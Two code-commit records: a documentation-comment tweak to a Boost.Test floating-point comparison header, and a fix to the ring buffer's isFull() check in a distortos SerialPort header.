<commit_before>// (C) Copyright Gennadiy Rozental 2001-2014. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // See http://www.boost.org/libs/test for the library home page. // //!@file //!@brief algorithms for comparing floating point values // *************************************************************************** #ifndef BOOST_TEST_FLOATING_POINT_COMPARISON_HPP_071894GER #define BOOST_TEST_FLOATING_POINT_COMPARISON_HPP_071894GER // Boost.Test #include <boost/test/detail/global_typedef.hpp> #include <boost/test/tools/assertion_result.hpp> // Boost #include <boost/limits.hpp> // for std::numeric_limits #include <boost/static_assert.hpp> #include <boost/assert.hpp> #include <boost/type_traits/is_floating_point.hpp> #include <boost/type_traits/is_array.hpp> #include <boost/utility/enable_if.hpp> // STL #include <iosfwd> #include <boost/test/detail/suppress_warnings.hpp> //____________________________________________________________________________// namespace boost { namespace math { namespace fpc { // ************************************************************************** // // ************** fpc::tolerance_based ************** // // ************************************************************************** // //! @internal //! Protects the instanciation of std::numeric_limits from non-supported types (eg. T=array) template <typename T, bool enabled> struct tolerance_based_delegate; template <typename T> struct tolerance_based_delegate<T, false> : mpl::false_ {}; template <typename T> struct tolerance_based_delegate<T, true> : mpl::bool_< is_floating_point<T>::value || (!std::numeric_limits<T>::is_integer && std::numeric_limits<T>::is_specialized && !std::numeric_limits<T>::is_exact)> {}; /*!@brief Indicates if a type can be compared using a tolerance scheme * * This is a metafunction that should evaluate to mpl::true_ if the type * T can be compared using a tolerance based method, typically for floating point * types. * * This metafunction can be specialized further to declare user types that are * floating point (eg. boost.multiprecision). */ template <typename T> struct tolerance_based : tolerance_based_delegate<T, !is_array<T>::value >::type {}; // ************************************************************************** // // ************** fpc::strength ************** // // ************************************************************************** // //! Method for comparison of floating point numbers enum strength { FPC_STRONG, //!< "Very close" - equation 2' in docs, the default FPC_WEAK //!< "Close enough" - equation 3' in docs. }; // ************************************************************************** // // ************** tolerance presentation types ************** // // ************************************************************************** // template<typename FPT> struct percent_tolerance_t { explicit percent_tolerance_t( FPT v ) : m_value( v ) {} FPT m_value; }; //____________________________________________________________________________// template<typename FPT> inline std::ostream& operator<<( std::ostream& out, percent_tolerance_t<FPT> t ) { return out << t.m_value; } //____________________________________________________________________________// template<typename FPT> inline percent_tolerance_t<FPT> percent_tolerance( FPT v ) { return percent_tolerance_t<FPT>( v ); } //____________________________________________________________________________// // ************************************************************************** // // ************** details ************** // // ************************************************************************** // namespace fpc_detail { // FPT is Floating-Point Type: float, double, long double or User-Defined. template<typename FPT> inline FPT fpt_abs( FPT fpv ) { return fpv < static_cast<FPT>(0) ? -fpv : fpv; } //____________________________________________________________________________// template<typename FPT> struct fpt_limits { static FPT min_value() { return std::numeric_limits<FPT>::is_specialized ? (std::numeric_limits<FPT>::min)() : static_cast<FPT>(0); } static FPT max_value() { return std::numeric_limits<FPT>::is_specialized ? (std::numeric_limits<FPT>::max)() : static_cast<FPT>(1000000); // for our purposes it doesn't really matter what value is returned here } }; //____________________________________________________________________________// // both f1 and f2 are unsigned here template<typename FPT> inline FPT safe_fpt_division( FPT f1, FPT f2 ) { // Avoid overflow. if( (f2 < static_cast<FPT>(1)) && (f1 > f2*fpt_limits<FPT>::max_value()) ) return fpt_limits<FPT>::max_value(); // Avoid underflow. if( (f1 == static_cast<FPT>(0)) || ((f2 > static_cast<FPT>(1)) && (f1 < f2*fpt_limits<FPT>::min_value())) ) return static_cast<FPT>(0); return f1/f2; } //____________________________________________________________________________// template<typename FPT, typename ToleranceType> inline FPT fraction_tolerance( ToleranceType tolerance ) { return static_cast<FPT>(tolerance); } //____________________________________________________________________________// template<typename FPT2, typename FPT> inline FPT2 fraction_tolerance( percent_tolerance_t<FPT> tolerance ) { return static_cast<FPT2>(tolerance.m_value)*static_cast<FPT2>(0.01); } //____________________________________________________________________________// } // namespace fpc_detail // ************************************************************************** // // ************** close_at_tolerance ************** // // ************************************************************************** // /*!@brief Predicate for comparing floating point numbers * * This predicate is used to compare floating point numbers. In addition the comparison produces maximum * related differnce, which can be used to generate detailed error message * * The methods for comparing floating points are detailed in the documentation. The method is chosen * by the @ref boost::math::fpc::strength given at construction. */ template<typename FPT> class close_at_tolerance { public: // Public typedefs typedef bool result_type; // Constructor template<typename ToleranceType> explicit close_at_tolerance( ToleranceType tolerance, fpc::strength fpc_strength = FPC_STRONG ) : m_fraction_tolerance( fpc_detail::fraction_tolerance<FPT>( tolerance ) ) , m_strength( fpc_strength ) , m_tested_rel_diff() { BOOST_ASSERT_MSG( m_fraction_tolerance >= 0, "tolerance must not be negative!" ); // no reason for tolerance to be negative } // Access methods //! Returns the tolerance FPT fraction_tolerance() const { return m_fraction_tolerance; } //! Returns the comparison method fpc::strength strength() const { return m_strength; } //! Returns the failing fraction FPT tested_rel_diff() const { return m_tested_rel_diff; } /*! Compares two floating point numbers a and b such that their "left" relative difference |a-b|/a and/or * "right" relative difference |a-b|/b does not exceed specified relative (fraction) tolerance. * * @param[in] left first floating point number to be compared * @param[in] right second floating point number to be compared * * What is reported by @c tested_rel_diff in case of failure depends on the comparison method: * - for @c FPC_STRONG: the max of the two fractions * - for @c FPC_WEAK: the min of the two fractions * The rationale behind is to report the tolerance to set in order to make a test pass. */ bool operator()( FPT left, FPT right ) const { FPT diff = fpc_detail::fpt_abs<FPT>( left - right ); FPT fraction_of_right = fpc_detail::safe_fpt_division( diff, fpc_detail::fpt_abs( right ) ); FPT fraction_of_left = fpc_detail::safe_fpt_division( diff, fpc_detail::fpt_abs( left ) ); FPT max_rel_diff = (std::max)( fraction_of_left, fraction_of_right ); FPT min_rel_diff = (std::min)( fraction_of_left, fraction_of_right ); m_tested_rel_diff = m_strength == FPC_STRONG ? max_rel_diff : min_rel_diff; return m_tested_rel_diff <= m_fraction_tolerance; } private: // Data members FPT m_fraction_tolerance; fpc::strength m_strength; mutable FPT m_tested_rel_diff; }; // ************************************************************************** // // ************** small_with_tolerance ************** // // ************************************************************************** // /*!@brief Predicate for comparing floating point numbers against 0 * * Serves the same purpose as boost::math::fpc::close_at_tolerance, but used when one * of the operand is null. */ template<typename FPT> class small_with_tolerance { public: // Public typedefs typedef bool result_type; // Constructor explicit small_with_tolerance( FPT tolerance ) // <= absolute tolerance : m_tolerance( tolerance ) { BOOST_ASSERT( m_tolerance >= 0 ); // no reason for the tolerance to be negative } // Action method bool operator()( FPT fpv ) const { return fpc::fpc_detail::fpt_abs( fpv ) < m_tolerance; } private: // Data members FPT m_tolerance; }; // ************************************************************************** // // ************** is_small ************** // // ************************************************************************** // template<typename FPT> inline bool is_small( FPT fpv, FPT tolerance ) { return small_with_tolerance<FPT>( tolerance )( fpv ); } //____________________________________________________________________________// } // namespace fpc } // namespace math } // namespace boost #include <boost/test/detail/enable_warnings.hpp> #endif // BOOST_FLOATING_POINT_COMAPARISON_HPP_071894GER <commit_msg>some better doxygen doxygen sucks<commit_after>// (C) Copyright Gennadiy Rozental 2001-2014. // Distributed under the Boost Software License, Version 1.0. // (See accompanying file LICENSE_1_0.txt or copy at // http://www.boost.org/LICENSE_1_0.txt) // See http://www.boost.org/libs/test for the library home page. // //!@file //!@brief algorithms for comparing floating point values // *************************************************************************** #ifndef BOOST_TEST_FLOATING_POINT_COMPARISON_HPP_071894GER #define BOOST_TEST_FLOATING_POINT_COMPARISON_HPP_071894GER // Boost.Test #include <boost/test/detail/global_typedef.hpp> #include <boost/test/tools/assertion_result.hpp> // Boost #include <boost/limits.hpp> // for std::numeric_limits #include <boost/static_assert.hpp> #include <boost/assert.hpp> #include <boost/type_traits/is_floating_point.hpp> #include <boost/type_traits/is_array.hpp> #include <boost/utility/enable_if.hpp> // STL #include <iosfwd> #include <boost/test/detail/suppress_warnings.hpp> //____________________________________________________________________________// namespace boost { namespace math { namespace fpc { // ************************************************************************** // // ************** fpc::tolerance_based ************** // // ************************************************************************** // //! @internal //! Protects the instanciation of std::numeric_limits from non-supported types (eg. T=array) template <typename T, bool enabled> struct tolerance_based_delegate; template <typename T> struct tolerance_based_delegate<T, false> : mpl::false_ {}; template <typename T> struct tolerance_based_delegate<T, true> : mpl::bool_< is_floating_point<T>::value || (!std::numeric_limits<T>::is_integer && std::numeric_limits<T>::is_specialized && !std::numeric_limits<T>::is_exact)> {}; /*!@brief Indicates if a type can be compared using a tolerance scheme * * This is a metafunction that should evaluate to mpl::true_ if the type * T can be compared using a tolerance based method, typically for floating point * types. * * This metafunction can be specialized further to declare user types that are * floating point (eg. boost.multiprecision). */ template <typename T> struct tolerance_based : tolerance_based_delegate<T, !is_array<T>::value >::type {}; // ************************************************************************** // // ************** fpc::strength ************** // // ************************************************************************** // //! Method for comparing floating point numbers enum strength { FPC_STRONG, //!< "Very close" - equation 2' in docs, the default FPC_WEAK //!< "Close enough" - equation 3' in docs. }; // ************************************************************************** // // ************** tolerance presentation types ************** // // ************************************************************************** // template<typename FPT> struct percent_tolerance_t { explicit percent_tolerance_t( FPT v ) : m_value( v ) {} FPT m_value; }; //____________________________________________________________________________// template<typename FPT> inline std::ostream& operator<<( std::ostream& out, percent_tolerance_t<FPT> t ) { return out << t.m_value; } //____________________________________________________________________________// template<typename FPT> inline percent_tolerance_t<FPT> percent_tolerance( FPT v ) { return percent_tolerance_t<FPT>( v ); } //____________________________________________________________________________// // ************************************************************************** // // ************** details ************** // // ************************************************************************** // namespace fpc_detail { // FPT is Floating-Point Type: float, double, long double or User-Defined. template<typename FPT> inline FPT fpt_abs( FPT fpv ) { return fpv < static_cast<FPT>(0) ? -fpv : fpv; } //____________________________________________________________________________// template<typename FPT> struct fpt_limits { static FPT min_value() { return std::numeric_limits<FPT>::is_specialized ? (std::numeric_limits<FPT>::min)() : static_cast<FPT>(0); } static FPT max_value() { return std::numeric_limits<FPT>::is_specialized ? (std::numeric_limits<FPT>::max)() : static_cast<FPT>(1000000); // for our purposes it doesn't really matter what value is returned here } }; //____________________________________________________________________________// // both f1 and f2 are unsigned here template<typename FPT> inline FPT safe_fpt_division( FPT f1, FPT f2 ) { // Avoid overflow. if( (f2 < static_cast<FPT>(1)) && (f1 > f2*fpt_limits<FPT>::max_value()) ) return fpt_limits<FPT>::max_value(); // Avoid underflow. if( (f1 == static_cast<FPT>(0)) || ((f2 > static_cast<FPT>(1)) && (f1 < f2*fpt_limits<FPT>::min_value())) ) return static_cast<FPT>(0); return f1/f2; } //____________________________________________________________________________// template<typename FPT, typename ToleranceType> inline FPT fraction_tolerance( ToleranceType tolerance ) { return static_cast<FPT>(tolerance); } //____________________________________________________________________________// template<typename FPT2, typename FPT> inline FPT2 fraction_tolerance( percent_tolerance_t<FPT> tolerance ) { return static_cast<FPT2>(tolerance.m_value)*static_cast<FPT2>(0.01); } //____________________________________________________________________________// } // namespace fpc_detail // ************************************************************************** // // ************** close_at_tolerance ************** // // ************************************************************************** // /*!@brief Predicate for comparing floating point numbers * * This predicate is used to compare floating point numbers. In addition the comparison produces maximum * related differnce, which can be used to generate detailed error message * The methods for comparing floating points are detailed in the documentation. The method is chosen * by the @ref boost::math::fpc::strength given at construction. */ template<typename FPT> class close_at_tolerance { public: // Public typedefs typedef bool result_type; // Constructor template<typename ToleranceType> explicit close_at_tolerance( ToleranceType tolerance, fpc::strength fpc_strength = FPC_STRONG ) : m_fraction_tolerance( fpc_detail::fraction_tolerance<FPT>( tolerance ) ) , m_strength( fpc_strength ) , m_tested_rel_diff() { BOOST_ASSERT_MSG( m_fraction_tolerance >= 0, "tolerance must not be negative!" ); // no reason for tolerance to be negative } // Access methods //! Returns the tolerance FPT fraction_tolerance() const { return m_fraction_tolerance; } //! Returns the comparison method fpc::strength strength() const { return m_strength; } //! Returns the failing fraction FPT tested_rel_diff() const { return m_tested_rel_diff; } /*! Compares two floating point numbers a and b such that their "left" relative difference |a-b|/a and/or * "right" relative difference |a-b|/b does not exceed specified relative (fraction) tolerance. * * @param[in] left first floating point number to be compared * @param[in] right second floating point number to be compared * * What is reported by @c tested_rel_diff in case of failure depends on the comparison method: * - for @c FPC_STRONG: the max of the two fractions * - for @c FPC_WEAK: the min of the two fractions * The rationale behind is to report the tolerance to set in order to make a test pass. */ bool operator()( FPT left, FPT right ) const { FPT diff = fpc_detail::fpt_abs<FPT>( left - right ); FPT fraction_of_right = fpc_detail::safe_fpt_division( diff, fpc_detail::fpt_abs( right ) ); FPT fraction_of_left = fpc_detail::safe_fpt_division( diff, fpc_detail::fpt_abs( left ) ); FPT max_rel_diff = (std::max)( fraction_of_left, fraction_of_right ); FPT min_rel_diff = (std::min)( fraction_of_left, fraction_of_right ); m_tested_rel_diff = m_strength == FPC_STRONG ? max_rel_diff : min_rel_diff; return m_tested_rel_diff <= m_fraction_tolerance; } private: // Data members FPT m_fraction_tolerance; fpc::strength m_strength; mutable FPT m_tested_rel_diff; }; // ************************************************************************** // // ************** small_with_tolerance ************** // // ************************************************************************** // /*!@brief Predicate for comparing floating point numbers against 0 * * Serves the same purpose as boost::math::fpc::close_at_tolerance, but used when one * of the operand is null. */ template<typename FPT> class small_with_tolerance { public: // Public typedefs typedef bool result_type; // Constructor explicit small_with_tolerance( FPT tolerance ) // <= absolute tolerance : m_tolerance( tolerance ) { BOOST_ASSERT( m_tolerance >= 0 ); // no reason for the tolerance to be negative } // Action method bool operator()( FPT fpv ) const { return fpc::fpc_detail::fpt_abs( fpv ) < m_tolerance; } private: // Data members FPT m_tolerance; }; // ************************************************************************** // // ************** is_small ************** // // ************************************************************************** // template<typename FPT> inline bool is_small( FPT fpv, FPT tolerance ) { return small_with_tolerance<FPT>( tolerance )( fpv ); } //____________________________________________________________________________// } // namespace fpc } // namespace math } // namespace boost #include <boost/test/detail/enable_warnings.hpp> #endif // BOOST_FLOATING_POINT_COMAPARISON_HPP_071894GER <|endoftext|>
<commit_before>/** * \file * \brief SerialPort class header * * \author Copyright (C) 2016 Kamil Szczygiel http://www.distortec.com http://www.freddiechopin.info * * \par License * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not * distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_ #define INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_ #include "distortos/devices/communication/UartParity.hpp" #include "distortos/internal/devices/UartBase.hpp" #include "distortos/Mutex.hpp" namespace distortos { class Semaphore; namespace internal { class UartLowLevel; } namespace devices { /** * SerialPort class is a serial port with an interface similar to standard files * * \ingroup devices */ class SerialPort : private internal::UartBase { public: /// thread-safe, lock-free ring buffer for one-producer and one-consumer class RingBuffer { public: /** * \brief RingBuffer's constructor * * \param [in] buffer is a buffer for data * \param [in] size is the size of \a buffer, bytes, should be even, must be greater than or equal to 4 */ constexpr RingBuffer(void* const buffer, const size_t size) : buffer_{static_cast<uint8_t*>(buffer)}, size_{size}, readPosition_{}, writePosition_{} { } /** * \brief Clears ring buffer */ void clear() { readPosition_ = 0; writePosition_ = 0; } /** * \return First contiguous block (as a pair with pointer and size) available for reading */ std::pair<const uint8_t*, size_t> getReadBlock() const; /** * \return total size of ring buffer, bytes */ size_t getSize() const { return size_; } /** * \return First contiguous block (as a pair with pointer and size) available for writing */ std::pair<uint8_t*, size_t> getWriteBlock() const; /** * \brief Increases read position by given value * * \param [in] value is the value which will be added to read position, must come from previous call to * getReadBlock() */ void increaseReadPosition(const size_t value) { readPosition_ += value; readPosition_ %= size_; } /** * \brief Increases write position by given value * * \param [in] value is the value which will be added to write position, must come from previous call to * getWriteBlock() */ void increaseWritePosition(const size_t value) { writePosition_ += value; writePosition_ %= size_; } /** * \return true if ring buffer is empty, false otherwise */ bool isEmpty() const { return writePosition_ == readPosition_; } /** * \return true if ring buffer is full, false otherwise */ bool isFull() const { return writePosition_ == (readPosition_ + 2) % size_; } private: /// pointer to beginning of buffer uint8_t* buffer_; /// size of \a buffer_, bytes size_t size_; /// current read position volatile size_t readPosition_; /// current write position volatile size_t writePosition_; }; /** * \brief SerialPort's constructor * * \param [in] uart is a reference to low-level implementation of internal::UartLowLevel interface * \param [in] readBuffer is a buffer for read operations * \param [in] readBufferSize is the size of \a readBuffer, bytes, should be divisible by 4, must be greater than or * equal to 4 * \param [in] writeBuffer is a buffer to write operations * \param [in] writeBufferSize is the size of \a writeBuffer, bytes, should be even, must be greater than or equal * to 4 */ constexpr SerialPort(internal::UartLowLevel& uart, void* const readBuffer, const size_t readBufferSize, void* const writeBuffer, const size_t writeBufferSize) : readMutex_{Mutex::Type::normal, Mutex::Protocol::priorityInheritance}, writeMutex_{Mutex::Type::normal, Mutex::Protocol::priorityInheritance}, readBuffer_{readBuffer, (readBufferSize / 4) * 4}, writeBuffer_{writeBuffer, (writeBufferSize / 2) * 2}, readSemaphore_{}, transmitSemaphore_{}, writeSemaphore_{}, uart_{uart}, baudRate_{}, characterLength_{}, parity_{}, _2StopBits_{}, openCount_{}, transmitInProgress_{}, writeInProgress_{} { } /** * \brief SerialPort's destructor * * Does nothing if all users already closed this device. If they did not, performs forced close of device. */ ~SerialPort() override; /** * \brief Closes SerialPort * * Does nothing if any user still has this device opened. Otherwise all transfers and low-level driver are stopped. * If any write transfer is still in progress, this function will wait for physical end of transmission before * shutting the device down. * * If the function is interrupted by a signal, the device is not closed - the user should try to close it again. * * \return 0 on success, error code otherwise: * - EBADF - the device is already completely closed; * - EINTR - the wait was interrupted by an unmasked, caught signal; * - error codes returned by internal::UartLowLevel::stop(); */ int close(); /** * \brief Opens SerialPort * * Does nothing if any user already has this device opened. Otherwise low-level driver and buffered reads are * started. * * \param [in] baudRate is the desired baud rate, bps * \param [in] characterLength selects character length, bits * \param [in] parity selects parity * \param [in] _2StopBits selects whether 1 (false) or 2 (true) stop bits are used * * \return 0 on success, error code otherwise: * - EINVAL - provided arguments don't match current configuration of already opened device; * - EMFILE - this device is already opened too many times; * - ENOBUFS - read and/or write buffers are too small; * - error codes returned by internal::UartLowLevel::start(); * - error codes returned by internal::UartLowLevel::startRead(); */ int open(uint32_t baudRate, uint8_t characterLength, devices::UartParity parity, bool _2StopBits); /** * \brief Reads data from SerialPort * * Similar to POSIX read() - http://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html# * * This function will block until at least one character can be read. * * \param [out] buffer is the buffer to which the data will be written * \param [in] size is the size of \a buffer, bytes, must be even if selected character length is greater than 8 * bits * * \return pair with return code (0 on success, error code otherwise) and number of read bytes (valid even when * error code is returned); * error codes: * - EBADF - the device is not opened; * - EINTR - the wait was interrupted by an unmasked, caught signal; * - EINVAL - \a buffer and/or \a size are invalid; * - error codes returned by internal::UartLowLevel::startRead(); */ std::pair<int, size_t> read(void* buffer, size_t size); /** * \brief Writes data to SerialPort * * Similar to POSIX write() - http://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html# * * This function will block until all character are written. * * \param [in] buffer is the buffer with data that will be transmitted * \param [in] size is the size of \a buffer, bytes, must be even if selected character length is greater than 8 * bits * * \return pair with return code (0 on success, error code otherwise) and number of written bytes (valid even when * error code is returned); * error codes: * - EBADF - the device is not opened; * - EINTR - the wait was interrupted by an unmasked, caught signal; * - EINVAL - \a buffer and/or \a size are invalid; * - error codes returned by internal::UartLowLevel::startWrite(); */ std::pair<int, size_t> write(const void* buffer, size_t size); private: /** * \brief "Read complete" event * * Called by low-level UART driver when whole read buffer is filled. * * Updates position of read ring buffer and notifies any thread waiting for this event. If the read ring buffer is * not full, next read operation is started. * * \param [in] bytesRead is the number of bytes read by low-level UART driver (and written to read buffer) */ void readCompleteEvent(size_t bytesRead) override; /** * \brief "Receive error" event * * Called by low-level UART driver when the last character was received with an error. This character is written to * the read buffer before this function is called. * * Does nothing. * * \param [in] errorSet is the set of error bits */ void receiveErrorEvent(ErrorSet errorSet) override; /** * \brief Wrapper for internal::UartLowLevel::startRead() * * Starts read operation with size that is the smallest of: size of first available read block, half the size of * read ring buffer and value of \a limit. * * \param [in] limit is the size limit of started read operation, bytes * * \return values returned by internal::UartLowLevel::startRead() */ int startReadWrapper(size_t limit); /** * \brief Wrapper for internal::UartLowLevel::startWrite() * * Sets "transmit in progress" and "write in progress" flags. Starts write operation with size of first available * write block. * * \return values returned by internal::UartLowLevel::startWrite() */ int startWriteWrapper(); /** * \brief "Transmit complete" event * * Called by low-level UART driver when the transmission is physically finished. * * Notifies any thread waiting for this event and clears "transmit in progress" flag. */ void transmitCompleteEvent() override; /** * \brief "Write complete" event * * Called by low-level UART driver when whole write buffer was transfered - the transmission may still be in * progress. * * Updates position of write ring buffer and notifies any thread waiting for this event. If the write ring buffer is * not empty, next write operation is started. Otherwise "write in progress" flag is cleared. * * \param [in] bytesWritten is the number of bytes written by low-level UART driver (and read from write buffer) */ void writeCompleteEvent(size_t bytesWritten) override; /// mutex used to serialize access to read(), close() and open() Mutex readMutex_; /// mutex used to serialize access to write(), close() and open() Mutex writeMutex_; /// ring buffer for read operations RingBuffer readBuffer_; /// ring buffer for write operations RingBuffer writeBuffer_; /// pointer to semaphore used for "read complete" event notifications Semaphore* volatile readSemaphore_; /// pointer to semaphore used for "transmit complete" event notifications Semaphore* volatile transmitSemaphore_; /// pointer to semaphore used for "write complete" event notifications Semaphore* volatile writeSemaphore_; /// reference to low-level implementation of internal::UartLowLevel interface internal::UartLowLevel& uart_; /// current baud rate, bps uint32_t baudRate_; /// current character length, bits uint8_t characterLength_; /// current parity devices::UartParity parity_; /// current configuration of stop bits: 1 (false) or 2 (true) bool _2StopBits_; /// number of times this device was opened but not yet closed uint8_t openCount_; /// "transmit in progress" flag volatile bool transmitInProgress_; /// "write in progress" flag volatile bool writeInProgress_; }; } // namespace devices } // namespace distortos #endif // INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_ <commit_msg>Fix bug in SerialPort::RingBuffer::isFull()<commit_after>/** * \file * \brief SerialPort class header * * \author Copyright (C) 2016 Kamil Szczygiel http://www.distortec.com http://www.freddiechopin.info * * \par License * This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of the MPL was not * distributed with this file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_ #define INCLUDE_DISTORTOS_DEVICES_COMMUNICATION_SERIALPORT_HPP_ #include "distortos/devices/communication/UartParity.hpp" #include "distortos/internal/devices/UartBase.hpp" #include "distortos/Mutex.hpp" namespace distortos { class Semaphore; namespace internal { class UartLowLevel; } namespace devices { /** * SerialPort class is a serial port with an interface similar to standard files * * \ingroup devices */ class SerialPort : private internal::UartBase { public: /// thread-safe, lock-free ring buffer for one-producer and one-consumer class RingBuffer { public: /** * \brief RingBuffer's constructor * * \param [in] buffer is a buffer for data * \param [in] size is the size of \a buffer, bytes, should be even, must be greater than or equal to 4 */ constexpr RingBuffer(void* const buffer, const size_t size) : buffer_{static_cast<uint8_t*>(buffer)}, size_{size}, readPosition_{}, writePosition_{} { } /** * \brief Clears ring buffer */ void clear() { readPosition_ = 0; writePosition_ = 0; } /** * \return First contiguous block (as a pair with pointer and size) available for reading */ std::pair<const uint8_t*, size_t> getReadBlock() const; /** * \return total size of ring buffer, bytes */ size_t getSize() const { return size_; } /** * \return First contiguous block (as a pair with pointer and size) available for writing */ std::pair<uint8_t*, size_t> getWriteBlock() const; /** * \brief Increases read position by given value * * \param [in] value is the value which will be added to read position, must come from previous call to * getReadBlock() */ void increaseReadPosition(const size_t value) { readPosition_ += value; readPosition_ %= size_; } /** * \brief Increases write position by given value * * \param [in] value is the value which will be added to write position, must come from previous call to * getWriteBlock() */ void increaseWritePosition(const size_t value) { writePosition_ += value; writePosition_ %= size_; } /** * \return true if ring buffer is empty, false otherwise */ bool isEmpty() const { return writePosition_ == readPosition_; } /** * \return true if ring buffer is full, false otherwise */ bool isFull() const { return readPosition_ == (writePosition_ + 2) % size_; } private: /// pointer to beginning of buffer uint8_t* buffer_; /// size of \a buffer_, bytes size_t size_; /// current read position volatile size_t readPosition_; /// current write position volatile size_t writePosition_; }; /** * \brief SerialPort's constructor * * \param [in] uart is a reference to low-level implementation of internal::UartLowLevel interface * \param [in] readBuffer is a buffer for read operations * \param [in] readBufferSize is the size of \a readBuffer, bytes, should be divisible by 4, must be greater than or * equal to 4 * \param [in] writeBuffer is a buffer to write operations * \param [in] writeBufferSize is the size of \a writeBuffer, bytes, should be even, must be greater than or equal * to 4 */ constexpr SerialPort(internal::UartLowLevel& uart, void* const readBuffer, const size_t readBufferSize, void* const writeBuffer, const size_t writeBufferSize) : readMutex_{Mutex::Type::normal, Mutex::Protocol::priorityInheritance}, writeMutex_{Mutex::Type::normal, Mutex::Protocol::priorityInheritance}, readBuffer_{readBuffer, (readBufferSize / 4) * 4}, writeBuffer_{writeBuffer, (writeBufferSize / 2) * 2}, readSemaphore_{}, transmitSemaphore_{}, writeSemaphore_{}, uart_{uart}, baudRate_{}, characterLength_{}, parity_{}, _2StopBits_{}, openCount_{}, transmitInProgress_{}, writeInProgress_{} { } /** * \brief SerialPort's destructor * * Does nothing if all users already closed this device. If they did not, performs forced close of device. */ ~SerialPort() override; /** * \brief Closes SerialPort * * Does nothing if any user still has this device opened. Otherwise all transfers and low-level driver are stopped. * If any write transfer is still in progress, this function will wait for physical end of transmission before * shutting the device down. * * If the function is interrupted by a signal, the device is not closed - the user should try to close it again. * * \return 0 on success, error code otherwise: * - EBADF - the device is already completely closed; * - EINTR - the wait was interrupted by an unmasked, caught signal; * - error codes returned by internal::UartLowLevel::stop(); */ int close(); /** * \brief Opens SerialPort * * Does nothing if any user already has this device opened. Otherwise low-level driver and buffered reads are * started. * * \param [in] baudRate is the desired baud rate, bps * \param [in] characterLength selects character length, bits * \param [in] parity selects parity * \param [in] _2StopBits selects whether 1 (false) or 2 (true) stop bits are used * * \return 0 on success, error code otherwise: * - EINVAL - provided arguments don't match current configuration of already opened device; * - EMFILE - this device is already opened too many times; * - ENOBUFS - read and/or write buffers are too small; * - error codes returned by internal::UartLowLevel::start(); * - error codes returned by internal::UartLowLevel::startRead(); */ int open(uint32_t baudRate, uint8_t characterLength, devices::UartParity parity, bool _2StopBits); /** * \brief Reads data from SerialPort * * Similar to POSIX read() - http://pubs.opengroup.org/onlinepubs/9699919799/functions/read.html# * * This function will block until at least one character can be read. * * \param [out] buffer is the buffer to which the data will be written * \param [in] size is the size of \a buffer, bytes, must be even if selected character length is greater than 8 * bits * * \return pair with return code (0 on success, error code otherwise) and number of read bytes (valid even when * error code is returned); * error codes: * - EBADF - the device is not opened; * - EINTR - the wait was interrupted by an unmasked, caught signal; * - EINVAL - \a buffer and/or \a size are invalid; * - error codes returned by internal::UartLowLevel::startRead(); */ std::pair<int, size_t> read(void* buffer, size_t size); /** * \brief Writes data to SerialPort * * Similar to POSIX write() - http://pubs.opengroup.org/onlinepubs/9699919799/functions/write.html# * * This function will block until all character are written. * * \param [in] buffer is the buffer with data that will be transmitted * \param [in] size is the size of \a buffer, bytes, must be even if selected character length is greater than 8 * bits * * \return pair with return code (0 on success, error code otherwise) and number of written bytes (valid even when * error code is returned); * error codes: * - EBADF - the device is not opened; * - EINTR - the wait was interrupted by an unmasked, caught signal; * - EINVAL - \a buffer and/or \a size are invalid; * - error codes returned by internal::UartLowLevel::startWrite(); */ std::pair<int, size_t> write(const void* buffer, size_t size); private: /** * \brief "Read complete" event * * Called by low-level UART driver when whole read buffer is filled. * * Updates position of read ring buffer and notifies any thread waiting for this event. If the read ring buffer is * not full, next read operation is started. * * \param [in] bytesRead is the number of bytes read by low-level UART driver (and written to read buffer) */ void readCompleteEvent(size_t bytesRead) override; /** * \brief "Receive error" event * * Called by low-level UART driver when the last character was received with an error. This character is written to * the read buffer before this function is called. * * Does nothing. * * \param [in] errorSet is the set of error bits */ void receiveErrorEvent(ErrorSet errorSet) override; /** * \brief Wrapper for internal::UartLowLevel::startRead() * * Starts read operation with size that is the smallest of: size of first available read block, half the size of * read ring buffer and value of \a limit. * * \param [in] limit is the size limit of started read operation, bytes * * \return values returned by internal::UartLowLevel::startRead() */ int startReadWrapper(size_t limit); /** * \brief Wrapper for internal::UartLowLevel::startWrite() * * Sets "transmit in progress" and "write in progress" flags. Starts write operation with size of first available * write block. * * \return values returned by internal::UartLowLevel::startWrite() */ int startWriteWrapper(); /** * \brief "Transmit complete" event * * Called by low-level UART driver when the transmission is physically finished. * * Notifies any thread waiting for this event and clears "transmit in progress" flag. */ void transmitCompleteEvent() override; /** * \brief "Write complete" event * * Called by low-level UART driver when whole write buffer was transfered - the transmission may still be in * progress. * * Updates position of write ring buffer and notifies any thread waiting for this event. If the write ring buffer is * not empty, next write operation is started. Otherwise "write in progress" flag is cleared. * * \param [in] bytesWritten is the number of bytes written by low-level UART driver (and read from write buffer) */ void writeCompleteEvent(size_t bytesWritten) override; /// mutex used to serialize access to read(), close() and open() Mutex readMutex_; /// mutex used to serialize access to write(), close() and open() Mutex writeMutex_; /// ring buffer for read operations RingBuffer readBuffer_; /// ring buffer for write operations RingBuffer writeBuffer_; /// pointer to semaphore used for "read complete" event notifications Semaphore* volatile readSemaphore_; /// pointer to semaphore used for "transmit complete" event notifications Semaphore* volatile transmitSemaphore_; /// pointer to semaphore used for "write complete" event notifications Semaphore* volatile writeSemaphore_; /// reference to low-level implementation of internal::UartLowLevel interface internal::UartLowLevel& uart_; /// current baud rate, bps uint32_t baudRate_; /// current character length, bits uint8_t characterLength_; /// current parity devices::UartParity parity_; /// current configuration of stop bits: 1 (false) or 2 (true) bool _2StopBits_; /// number of times this device was opened but not yet closed uint8_t openCount_; /// "transmit in progress" flag volatile bool transmitInProgress_; /// "write in progress" flag volatile bool writeInProgress_; }; } // namespace devices } // namespace distortos #endif // 